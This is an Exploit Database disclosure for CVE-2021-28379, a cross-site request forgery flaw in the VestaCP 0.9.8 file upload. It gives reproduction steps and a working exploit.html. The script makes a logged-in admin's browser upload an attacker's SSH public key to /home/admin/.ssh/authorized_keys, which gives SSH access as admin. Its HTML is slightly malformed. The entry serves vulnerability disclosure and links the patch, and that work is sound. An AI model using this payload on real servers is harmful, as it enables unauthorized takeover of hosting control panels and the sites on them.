VestaCP 0.9.8 – File Upload CSRF

Exploit Database
114 阅读

作者： Fady Mohammed Osman

日期： 2021-03-17
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/49659/

# Exploit Title: VestaCP 0.9.8 - File Upload CSRF

# Exploit Author: Fady Othman

# Date: 16-03-2021

# Vendor Homepage: https://vestacp.com/

# Software Link: https://github.com/myvesta/vesta

# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39

# CVE ID: CVE-2021-28379

# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355

## Description

I found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under "/tmp" and under the home folder (usually "/home/admin"), the later is the one that is important for this exploit to work.

I was able to use this to create a ".ssh" folder in the admin home and upload "authorized_keys" file which allowed me to access the server later as "admin" using SSH.

Since this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added "authorized_keys" file, it will be replaced with the attacker's file.

Affected endpoint: "/upload/index.php", i.e. "/upload/index.php?dir=/home/admin/.ssh/"

## Steps to reproduce.

1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.

2. Login as the admin in Firefox, then open "exploit.html".

3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.

# exploit.html

<html>

<head>

function exploit() {

var mystring = <code>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnXyu8AsFjbuE5YMUa74PrNkO9coGWnw59v/cSVMgOZVpx+UziT0BRFurhVkyujTCXdz6OlN4yFZjCVMbAgZ7/liNu9ecGSGNcUTC+Br5YawlG9QICEaJ/bK32+luKdM1c5ONbRby+ARFsC9+iZu6IkAPnSRntbNgDZpuej/cKfm85EnvdQPAijvs4+899w2+rGvhSQ0wH4l1KNlV1yVoAsg0PFYGDnbygGA5Eo4k9LHwa2Hsm5b2Q5GhqlEUCgYFOjScuORczwhctVtp4VWKXiFoMLJupNhot/OqUXkoNgE6UUd75XcLNGMBiyfLpfXO2u1sGsw5nTiKvNn+1YdC7AKHWBjxl3wDY8hMf/gcveV4Nh45mMUu0p6kptDdVhELeeys8euHiTWOk+FLCKkps9eLiyl8gQUfWcFVj0dgqYVJne2S1U33wnofRhj0fGWAJf14xHhwnTi7u58u+0U1NJchOTHAaeX1Swqk2J34Ny9GwD01a71DFIIcIbgcef6c= fady@fady-Lenovo-Legion-Y530-15ICH-1060</code>;

var fileContent = new Blob([mystring], {

type: 'text/plain'

});

myFormData = new FormData();

myFormData.append("files", fileContent, "authorized_keys");

fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {

method: "post",

body: myFormData,

credentials: "include"

}); }

</script>

</head>

</body>

</html>